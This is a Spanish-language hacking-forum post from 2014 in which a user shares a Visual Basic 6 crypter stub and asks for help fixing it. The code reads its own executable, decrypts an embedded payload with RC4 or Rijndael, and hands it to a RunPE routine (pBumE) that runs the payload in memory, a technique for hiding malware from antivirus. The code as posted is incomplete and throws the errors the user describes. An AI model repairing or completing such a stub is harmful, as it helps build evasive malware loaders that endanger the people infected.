elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Otro RunpE para corregir! :)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Otro RunpE para corregir! :)  (Leído 1,285 veces)
darkeuphoria

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Otro RunpE para corregir! :)
« en: 13 Septiembre 2014, 23:45 pm »

Hola amigos! Les traigo un nuevo reto jajaja
ahi va:

Module2, el que viene a ser stub.bas, lleva dentro este codigo:

Código:
Sub Main()
Dim DatosdeDE As String
DatosdeDE = Space(LOF(1))
Get #1, , DatosdeDE
Dim DESplit() As String
DESplit() = Split(DatosdeDE, "[darkeuphoria]")

Dim RC4 As New clsRC4, Rijndael As New clsRijndael

If DESplit(2) = "RC4" Then
DESplit(1) = RC4.DecryptString(DESplit(1), DESplit(3))
End If

If DESplit(2) = "Rijndael" Then
DESplit(1) = Rijndael.DecryptString(DESplit(1), DESplit(3))
End If

Dim DEdata() As Byte
DEdata() = StrConv(DESplit(1), vbFromUnicode)

Call pBumE(App.Path & "\" & App.EXEName & ".exe", DEdata(), Command)
MsgBox " cifrado con exito "
End Sub

En la linea de Call me da error de ByRef.
Entonces pongo esa linea como a mi me parece que tendria que ser:

Código:
Call pBumE(App.Path & "\" & App.EXEName & ".exe", StrConv(DESplit(1), vbFromUnicode)

Pero entonces me salta el error 52 en la tercera linea, con el Space(LOF(1))


De forma que: como creeis que tendria que corregirse el codigo? muchas gracias!


« Última modificación: 14 Septiembre 2014, 10:18 am por darkeuphoria » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines